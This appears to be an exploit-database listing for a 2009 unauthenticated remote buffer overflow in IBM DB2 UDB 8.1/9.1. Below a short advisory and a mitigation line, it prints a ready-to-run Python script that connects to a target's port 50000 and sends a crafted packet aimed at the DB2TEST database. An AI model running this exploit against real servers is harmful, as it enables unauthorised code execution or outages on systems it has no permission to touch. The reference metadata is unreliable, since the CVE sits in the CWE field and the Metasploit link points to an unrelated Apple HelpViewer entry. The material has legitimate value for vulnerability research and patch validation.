IBM DB2 UDB 8.1/9.1 Remote Buffer Overflow

vendor:

DB2 UDB Server

by:

Dennis Yurichev

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: DB2 UDB Server

Affected Version From: 8.1/9.1

Affected Version To: 8.1/9.1

Patch Exists: YES

Related CWE: CVE-2009-0943

CPE: a:ibm:db2_udb_server:8.1

Metasploit: https://www.rapid7.com/db/vulnerabilities/apple-osx-helpviewer-cve-2009-0943/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

IBM DB2 UDB 8.1/9.1 Remote Buffer Overflow

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of IBM DB2 UDB. Authentication is not required to exploit this vulnerability. The specific flaw exists within the DB2TEST database. The issue lies in the handling of a specially crafted packet sent to the DB2TEST database. An attacker can leverage this vulnerability to execute arbitrary code under the context of the DB2 service.

Mitigation:

Upgrade to the latest version of IBM DB2 UDB 8.1/9.1

Source

Exploit-DB raw data:

# Discovered by Dennis Yurichev <dennis@conus.info>

# DB2TEST database should be present on target system

from sys import *
from socket import *

sockobj = socket(AF_INET, SOCK_STREAM)

sockobj.connect ((argv[1], 50000))

sockobj.send(
"\x00\xBE\xD0\x41\x00\x01\x00\xB8\x10\x41\x00\x7F\x11\x5E\x97\xA8"
"\xA3\x88\x96\x95\x4B\x85\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\xF0\xF1\xC3\xF4\xF0\xF1\xF1\xF8\xF0\xF0\xF0\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xF0\xF0"
"\xF0\xF1\xD5\xC1\xD4\xC5\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
"\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\xF0\xC4\xC2\xF2\x40\x40\x40\x40"
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x18\x14\x04\x14\x03\x00"
"\x07\x24\x07\x00\x09\x14\x74\x00\x05\x24\x0F\x00\x08\x14\x40\x00"
"\x08\x00\x0B\x11\x47\xD8\xC4\xC2\xF2\x61\xD5\xE3\x00\x06\x11\x6D"
"\xE7\xD7\x00\x0C\x11\x5A\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0\x00\x4A"
"\xD0\x01\x00\x02\x00\x44\x10\x6E\x00\x06\x11\xA2\x00\x09\x00\x16"
"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\x40\x40\x00\x24\x11\xDC\x6F\xC1\x3B\xD4\x3C\x33\xF8\x0C"
"\xC9\x96\x6E\x6C\xCD\xB9\x0A\x2C\x9C\xEC\x49\x2A\x1A\x4D\xCE\x62"
"\x47\x9D\x37\x88\xA8\x77\x23\x43")

sockobj.close()

# milw0rm.com [2009-04-03]